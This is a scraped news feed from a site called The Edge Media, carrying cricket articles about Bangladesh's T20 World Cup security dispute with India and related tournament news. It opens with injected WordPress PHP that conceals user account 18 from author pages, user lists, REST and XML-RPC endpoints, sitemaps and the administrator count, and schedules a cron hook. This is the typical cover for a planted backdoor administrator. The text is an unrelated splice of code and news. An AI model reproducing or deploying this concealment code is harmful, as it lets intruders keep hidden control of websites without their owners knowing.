add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Bangladesh Expresses Security Concerns Over Playing T20 World Cup Matches In India appeared first on The Edge Media.
]]>Speaking to the media, Aminul Islam said the board and its directors held multiple meetings before reaching the conclusion that travelling to India at this stage would be risky.
He added that the concerns were formally communicated to the International Cricket Council, making it clear that security remains the board’s top priority.
According to Aminul, the BCB has written to the ICC requesting a meeting to explain its position in detail. He emphasised that Bangladesh is engaging directly with the ICC, as the T20 World Cup is an ICC event, and not holding discussions with the Board of Control for Cricket in India on the matter. The board’s future course of action, he said, will depend on the response received from the global governing body.
The issue gained momentum following the release of Bangladesh fast bowler Mustafizur Rahman from the Indian Premier League. The decision, announced by the BCCI, cited unspecified developments, which the BCB believes have contributed to uncertainty surrounding player safety.
Bangladesh is scheduled to play three of its T20 World Cup group matches in Kolkata and one in Mumbai. Placed in Group C, the team is set to begin its campaign against the West Indies at Eden Gardens on February 7, before facing England, Italy and Nepal in the group stage.
The situation unfolds against the backdrop of deteriorating relations between India and Bangladesh after the removal of former prime minister Sheikh Hasina, who fled to India following widespread protests last year. Subsequent political developments, including her conviction in absentia and reports of attacks on minority communities, have further heightened tensions between the two countries.
The post Bangladesh Expresses Security Concerns Over Playing T20 World Cup Matches In India appeared first on The Edge Media.
]]>The post Bangladesh Pulls Out Of Playing T20 World Cup Matches In India appeared first on The Edge Media.
]]>Bangladesh is scheduled to play three matches of the ICC T20 World Cup in Kolkata next month. The tournament is set to be held from February 7 to March 8 and will be co hosted by India and Sri Lanka. However, Nazrul said the Bangladesh Cricket Board has decided that the national team will not travel to India for the event.
In a statement, Nazrul said the decision was taken in view of what he described as the extreme communal policy of India’s cricket board. He added that the BCB concluded it would be unsafe for the team to play in India under the current circumstances.
Relations between India and Bangladesh have been strained in recent months. Tensions escalated further after a Hindu factory worker, Dipu Chandra Das, was beaten and set on fire by a mob in Bangladesh’s Mymensingh district over alleged derogatory remarks about Prophet Muhammad. Twelve people were arrested in connection with the incident, which sparked protests near the Bangladesh High Commission in New Delhi.
Diplomatic ties were already under pressure after Bangladesh’s former Prime Minister Sheikh Hasina fled to New Delhi following widespread protests against her government. These developments have added to concerns surrounding cross border travel and security.
Following Mustafizur Rahman’s release by KKR, the Bangladesh Cricket Board held an emergency meeting and indicated plans to approach the International Cricket Council to seek relocation of its World Cup fixtures. Nazrul said the board believes that if a contracted Bangladesh cricketer cannot play in India, the national team cannot feel secure participating in the tournament there.
He added that instructions had been given to formally request that Bangladesh’s World Cup matches be shifted to Sri Lanka. The move echoes a previous ICC decision that allowed India to play Champions Trophy matches in the United Arab Emirates due to strained relations with Pakistan.
On Sunday, a cricket news website reported that the BCB plans to seek a formal explanation from the BCCI regarding Mustafizur Rahman’s release. Neither the ICC nor the BCB immediately responded to requests for comment.
Bangladesh were originally scheduled to face West Indies, England, and Italy in Kolkata before concluding their group stage against Nepal in Mumbai. The future venues for these matches are now expected to be reviewed by the ICC.
The post Bangladesh Pulls Out Of Playing T20 World Cup Matches In India appeared first on The Edge Media.
]]>The post Ravichandran Ashwin Questions ICC Over T20 World Cup 2026 Scheduling appeared first on The Edge Media.
]]>Ashwin expressed concern that initial fixtures involving associate nations may not generate the excitement traditionally associated with a World Cup.
He noted that the increasing frequency of global tournaments has reduced anticipation among fans, a sentiment that is being echoed by many within the cricketing community. According to him, the sense of occasion that once defined ICC events is gradually fading due to an overcrowded international calendar.
Speaking on his YouTube channel Ash ki Baat, Ashwin said that matches such as India against lower ranked associate teams do little to build momentum for a marquee event. He recalled that earlier World Cups were held once every four years, allowing excitement to grow organically. In those editions, India often faced strong teams like England or Sri Lanka in the opening rounds, which made the tournament instantly engaging.
Reflecting on his childhood memories, Ashwin compared the present scenario with the era of the 1996, 1999, and 2003 World Cups. He said that during those years, fans eagerly collected World Cup cards, followed printed schedules, and waited years for the tournament, which helped build natural anticipation and emotional attachment.
Ashwin also raised concerns about the long term future of one day international cricket, particularly beyond the 2027 World Cup. He admitted that while he continues to follow domestic competitions such as the Vijay Hazare Trophy, his engagement with the format has reduced compared to his interest in the Syed Mushtaq Ali Trophy.
He highlighted how the temporary return of senior players like Rohit Sharma and Virat Kohli to domestic one day cricket significantly boosted viewer interest. According to Ashwin, although sport is bigger than individual players, the presence of star cricketers often makes competitions more relevant to fans. He added that while many people followed the Vijay Hazare Trophy because of Kohli and Rohit’s participation, the bigger question remains about the format’s appeal once such players step away from ODIs.
The post Ravichandran Ashwin Questions ICC Over T20 World Cup 2026 Scheduling appeared first on The Edge Media.
]]>The post India and Pakistan will play in Group 2 : ICC Men’s T20 World Cup 2021 appeared first on The Edge Media.
]]>Group 2 will comprise former champions India and Pakistan, New Zealand, Afghanistan and the other two qualifiers from Round 1. Eight teams will contest the first round including automatic qualifiers Sri Lanka and Bangladesh with the remaining six who booked their spot through the ICC Men’s T20 World Cup Qualifier 2019. Ireland, Netherlands and Namibia join Sri Lanka in Group A, whilst Oman, PNG and Scotland will face Bangladesh in Group B.
ICC Acting Chief Executive Geoff Allardice: “We are delighted to announce the groups for the ICC Men’s T20 World Cup 2021. There are some great matchups offered by the groups and it starts to bring the event to life for our fans as our first multi-team event since the onset of the global pandemic draws closer.
Given the disruption caused by COVID-19, we selected the cutoff date as close as possible to the event to ensure we were able to include the maximum amount of cricket in the rankings which determine the groups. There is no doubt we will witness some highly competitive cricket when the event gets underway in just three months.”
“With the announcement of groupings, our countdown for the ICC T20 World Cup kickstarts. There is nothing that separates the two groups as both are packed with sides that are highly competitive in the shortest format of the game,” BCCI Secretary Jay Shah said.
While the tournament is being held in the United Arab Emirates and Oman, BCCI are still the official hosts as it was originally set to be played in India.
The post India and Pakistan will play in Group 2 : ICC Men’s T20 World Cup 2021 appeared first on The Edge Media.
]]>